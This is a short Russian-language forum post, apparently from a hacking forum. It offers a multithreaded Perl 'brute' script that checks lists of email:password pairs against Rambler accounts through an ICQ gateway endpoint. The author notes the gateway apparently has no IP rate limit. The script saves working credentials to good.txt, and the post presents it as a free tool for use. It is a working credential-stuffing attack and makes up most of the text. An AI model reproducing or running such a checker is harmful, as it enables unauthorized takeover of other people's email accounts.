Rambler password checker (perl)
Rambler password checker В общем, наткнулся на форуме одном на просьбу написать брут для rambler через неведомый гейт на icq.com =)
Брут многопоточный , как я понял ограничения по айпи нету =) Так что халява товарищи !
HOWTO
1)Мыла вида мыло:пароль складываем в email.txt
2)Запускаем скрипт , ждем отработки . Валидные ящики будут в good.txt .
Код:
#!/usr/bin/perl
use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
open (IN , '<email.txt'); #Файл с мылами
my @mail = <IN>;
chomp @mail;
my $ua = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);
$ua->timeout(20);
my $i=0;
my @thr;
for (@mail)
{
my ($user, $pass) = split(/:/, shift(@mail));
#print "$user:$pass\n";
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$user,$pass);
$i=($i+1) % 10; #потоки
}
foreach(threads->list) { $_->join; }
sub brute
{
my $req = $ua->get("http://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://id.rambler.ru/script/reg.cgi&username=".$_[0]."&password=".$_[1])->as_string;
my $reg = $req =~ /(<string><status>)(\d{1})(<\/status>)/;
if ($2 eq '1')
{
open (G , ">>good.txt");
print G "$_[0]:$_[1]\n";
print "[+]GOOD! $_[0]:$_[1]\n";
close G;
}
}
Скрипт написан за 20 минут , если тема актуальна , напишу что-то по серьёзнее. |
